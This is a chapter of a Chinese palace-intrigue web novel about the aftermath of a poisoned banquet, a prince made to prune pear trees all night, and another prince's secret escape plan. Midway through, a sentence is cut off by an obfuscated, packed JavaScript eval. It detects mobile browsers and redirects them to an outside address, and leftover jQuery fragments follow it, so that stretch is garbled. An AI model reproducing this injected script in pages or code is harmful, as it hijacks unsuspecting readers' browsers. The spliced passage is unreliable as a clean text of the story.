48. 最后一夜

作品:《两情悦

    戌时,夜渐深。


    秋风裹着微凉的寒气的打在两人的衣衫上。


    宫宴上的事传的很快,高琢只站在宫门片刻,就听说了今夜宫宴上许多版本的故事。


    有宫人说宫宴上死了人,是姚二小姐的婢女被主家虐待,这才动手毒死了二小姐的表兄。陛下是误食有毒的糕点,姚二小姐还得替陛下寻药呢。


    也有人说他们两人是苦命鸳鸯,说云昙姑娘被陛下看上做宫妃,二小姐的表兄这才服毒自杀。云昙姑娘气急,这才给陛下下了毒。


    还有几个伺候皇子的宫人说,姚二小姐是被人陷害了,一盘糕点将姚家,肖家还有裴家皇室全牵扯了进去。鹬蚌相争,渔翁得利。


    高琢越听心越冷,让阿缘去滕州寻药。那得去多久,几个月,还是几年。找到了是将功补过,找不到,那就是有弑君的嫌疑。滕州边境苦寒,阿缘怎么能受得了这种苦呢。


    马车停在高琢面前时,他才回神。抬眼看去,正好看见姚映梧掀开车帘对上他的眼睛。


    高琢眼神飘忽,心生愧意。他垂下头,自觉没脸再见阿缘了。


    掀开车帘时,姚映梧先是一怔,宫宴的事闹得这么大,不知高琢知道了多少。


    姚映梧含着笑走下马车,“忆欢的伤势怎么样了,这么晚了你怎么还赶来了。”


    高琢摇摇头又点点头,不知怎么开口。他想说忆欢根本没受伤,又想说我来了,却来晚了。要是我今夜来了宫宴,也许兄长就不会陷害你了。


    姚映梧看他如此,便知他肯定宫宴上的事了。她莞尔一笑道:“没事,都过去了。不是你的错,你也无需自责的。是我自己心急才会中了圈套……”


    姚映梧深吸一口气,才又说道:“高琢,你是你,你兄长是你兄长。就像姚肖两家不对付,可我还是和皎皎是挚友一样的。我只知你若知道你兄长的计谋,是肯定不会帮他害我的,那对我来说就够了。”


    说完心里的话,姚映梧瞥见高琢依旧满脸愧色,便岔开话题道:“天凉了,怎么只穿着单衣呢,冷不冷啊。”


    姚映梧的关心与故作轻松的样子让高琢心中说不出来的滋味,都怪他,是他太相信兄长了,才会让兄长找到可乘之机伤害阿缘和他的朋友。


    他必须离开高家了,若他还在一天,就会还听信兄长说的甜言蜜语,会被他的好话蒙蔽,让暗中伤人的箭中伤他最在乎的人。


    宫门起了大风,腰间挂着的牡丹暖玉佩碰到了高琢的手,烫穿了他的真心。


    “阿缘,去滕州我一定要跟你去的。我绝不会再丢下你一个人了。”


    高琢的保证让姚映梧露出一个今夜唯一真心的笑容,“好,我们一同去。谁也不丢下谁。”


    没有月亮的夜空有些暗淡无光。姚昭桦站在院落中的桦树下,坐立难安。


    重九的宫宴上出了这许多的事,每一件都让她牵肠挂肚,思绪万千。她回殿内脱下沉重到心烦的贤妃服饰,随意的坐在树下理着自己的思绪。


    还好这一路上有肖遥将军为伴,不然她要担心死阿缘了。她还得想办法联系一下滕州母族那边,让他们接应一下阿缘他们才行。


    打定主意姚昭桦立刻写好信,嘱咐青萝明日借出宫探亲的名义将信交给大虎,再让大虎帮忙送到驿馆给舅舅请他联系族人。


    给舅舅的信中姚昭桦一直佯装轻松,告诉舅舅她一切都好,只是表弟出事令她心碎不已,但万望舅舅保重身体要紧,裴家和表妹还要靠他呢。


    姚昭桦有些担忧,舅舅入京述职有段日子了,最晚等办完表弟的丧事就要回去了。他若回去,表妹肯定是万万不肯离开虑衡的。她得想办法让舅舅在盛安为官。只是父亲与舅舅关系不好,她不好托父亲来办此事。


    今夜重九宫宴,章贵妃旧疾犯了没能前来,姚昭桦换了身衣服,提着亲手做的汤去看望她。母亲嫁进姚府来时贵妃还未入宫,她也曾与她说过话。除了汤,姚昭桦还给章珮带了许多名贵药材。都是阿缘听说她病了,拖肖遥带给她补身体的。


    两人一见面,先叙旧片刻。姚昭桦提起舅舅的事,章珮一口便答应了下来。一是章珮念着旧情,二来,她也可怜这个中年丧子的父亲。


    孩子被人害死骤然离开父母的痛她清楚,那种痛彻心扉的滋味一辈子也忘不掉。裴澄也是可怜,他不是京官一但离开盛安,日后连孩子的墓也见不到了。


    得知章珮答应,愿意写信向章御史举荐舅舅入录书省少监,姚昭桦的心才彻底放下来。


    怕扰了章珮养病,姚昭桦又说了几句话便告辞了。她让青萝先回苍平宫去,自己想去梨棠苑静静心。


    出苍平宫时青萝告诉她,她碰见云昙了。云昙告诉她阿缘给她准备了桂花糖糕,是仿着和羹居的糕做的。


    真可惜,阿缘的心意她都没吃上。


    还有舅舅,表弟突然亡故,他该多伤心啊。阿卿一晃都这么大了,她都没跟她说上一句话,只能将对他们这满满的关心,写进薄薄的信里。


    唉,自入宫后,就没让她碰见一件好事。


    牧彰施与两个皇子和皇妃客套完,本想去看看母后,谁知道她今日早早睡下了,自己也没见到她的面。


    路过梨棠苑,牧彰施下意识瞧了一眼秋千。她果然在哪。


    望着会让他下意识留心的身影牧彰施感叹一声,贤妃,她怎么会是贤妃呢。想到今日宫宴她就坐在皇兄身边,牧彰施下意识狠狠捶了梨树一拳。


    秋日,是落叶的日子。一拳下去,哗哗地落叶声在空荡荡的梨棠苑格外清晰。


    “谁?”


    姚昭桦吓了一跳,赶忙起身喊道。


    牧彰施躲避不及,与姚昭桦直接面对面撞上了。


    姚昭桦打量着眼前的人,一身金丝蟒袍年岁模样看起来与她相当。盛安一直有传言,说前晋怀帝是被先帝领兵逼死于大观门,所以牧氏皇族子嗣凋零养不大皇儿。


    也多亏了姚昭桦幼时听得传闻,她一下便知此人就是齐王殿下。


    姚昭桦心下猜出他都身份,面上却没显露。早听三一姑姑说太后病了,她还去探望过。


    虽说苍平宫离后宫其他宫殿都远,齐王殿下只要走梨棠苑这条路出宫就碰不上除她以外的其他妃嫔。这么晚了,陛下还能恩准齐王入宫,可见陛下为了显示与齐王的兄友弟恭,竟如此忽视她。


    姚昭桦只觉心寒,父亲教导她的君臣之道看来也只是臣子一味臣服才是。


    姚昭桦冷声问道:“你是谁,怎么深夜出入后宫。”


    牧彰施自知不合规制,心虚的遮掩道:“卑职是齐王身边的肃石,太后病中想念梨棠苑的梨树。齐王怕太后夜凉着风,特命小人来此折几支梨枝,以解太后的思念之苦。无意惊扰了贵人,实在是该死。”


    姚映梧挑眉冷哼一声,居然还跟她装起下人来人。姚昭桦眼神在他身上来回扫过几圈,心下一动便有了主意。


    她轻咳一声道:“原来如此,既然齐王殿下是一番孝心,本宫也要成全才行。这梨树大大小小各种品种,你各剪一枝,既然是缓解娘娘思念之苦,那总要让她看得尽兴才行。”


    一个品种摘一支,牧彰施简直不敢相信自己的耳朵。这梨棠苑是父皇特意种给母后的,他几乎将天下所有的品种搜罗来种在这。一种一支,他剪一晚上都剪不完。


    姚昭桦见他愣神,好心提醒道:“还愣着干什么,赶紧过来剪梨枝啊。不然,太后今夜可看不上了。”


    白梨、秋梨、鸭梨、雪梨、南果梨……


    牧彰施不知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290960|195160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了多少剪了多少,剪下了的枝子堆满了石桌。


    梨枝一开始是他用手掰的,梨树树皮坚韧粗糙,磨得他手直痛废了他不少力气。掰了几支他就借口说够了。不料前来给姚昭桦送披风的一个叫什么柳笛的丫鬟,不知被她嘱咐了几句什么话,马上乐呵呵的回苍平宫给他取了一把修剪树枝的剪刀,让他来剪梨枝。


    他剪啊剪啊,整整剪了一个时辰。累到满头大汗,气喘吁吁。


    梨棠苑之大牧彰施现在可算是知道了,他抹了把额上的汗,放下剪刀,这才发现姚昭桦不知什么时候已经睡着了。


    牧彰施可算是松了口气,他屏气凝神轻轻去拿梨枝,一桌的梨枝全拿到手后,他便飞一般的逃了。


    秋千上,闭眼的姚昭桦听见他离开的脚步才勾起唇笑了起来。


    回宫的宫道上,牧泓屿脚步无比轻快。阿遥将他的真心看在了眼里,让他又感动又开心。


    牧泓屿想起明日又能与阿遥去滕州,二人一路做伴肯定感情更好。等他们几个从滕州回来的路上,他就直接假借寻药重病,让他们回盛安禀报父皇,就说自己得病亡故已经就地安葬了,这样他就能直接转道去蔺州了。


    他不得父皇喜爱,肯定也没人追查他的下落。等到了蔺州,他已做好万全准备。这些时日他看似在帮母后准备重九宫宴,实则他将这些年在盛安私自从商存下的银两,全部存入与鄢云十州有关的钱庄。到时候只需买通蔺州几股流民造势,做出战事吃紧的样子,再用他偷偷训好信鸽伪装肖家的信鸽假传战报,到时候父皇肯定会放阿遥离开盛安支援蔺州。


    牧泓屿深吸了一口皇宫的空气,明日后,他终于能摆脱这个皇宫了。


    再也不用见到父皇,牧泓屹的日子……真好,他终于要自由了。


    牧泓屿和四喜一起送肖遥出宫后,便让四喜先拿着画回宫了。他想着明日后再也不回来了,也该最后再看一眼这皇宫,看一眼他出生的地方。现下,也该回宫了。那画上,可有他特意叮嘱高琢给他画的东西,他得赶紧回去,看看高琢画得怎么样。


    四喜已经烹好茶放在桌上,旁边摆的就是高琢画的画。


    牧泓屿轻轻打开画轴,入目便是高琢提的字,记八月十六阿缘皎皎生辰图。


    画卷缓缓推开,先是高琢侧身作画的身影,他旁边是姚映梧用手打着拍子哼唱着古曲。在展开,便是他心心念念的阿遥。她双手持剑,舞动间天地黯然。


    牧泓屿手指轻轻抚过画纸上肖遥的脸庞,高琢画得真好,画中舞剑的她和阿遥一模一样。


    牧泓屿眷恋了片刻,又喝了一杯四喜烹的茶。今夜,胸中的一腔郁闷终于全都消散,往后,就是就都是他和阿遥的好日子了。


    喝完茶,牧泓屿瞟了一眼桌上摆的桂花蜜。他给姚映梧准备的生辰礼还没送给她呢,这几日太忙了,都忘记带给她。明日出城,可得记得带上。


    牧泓屿将蜜罐放到包袱里,就准备将画卷全部展开,屋内却突然传来咚得一声落地声。


    牧泓屿警惕地拔出佩剑,这还是阿遥送他的。可惜他不怎么会武,只能当个装饰品摆着。


    牧泓屿边朝内殿走去,心里怀疑是莫内侍深夜闯进来,想借宫宴之事逼他。他皱起眉,迅速想了个借口准备搪塞他,反正明日一走,他便不会回来了。


    内殿只点了一盏琉璃灯,四下空无一人,仿佛刚才的声音只是他听错了。


    牧泓屿如释重负,将剑放到了桌上整个人瘫坐在榻上。四喜也真是的,今夜这么黑,还只点了一盏灯。


    不知是不是吃了糕的缘故,牧泓屿今夜格外口渴。他起身刚想去拿茶杯,却被突然出现在外殿的人吓得动弹不得。


    来人举着茶杯笑道:“七皇子,您是要喝茶吗。”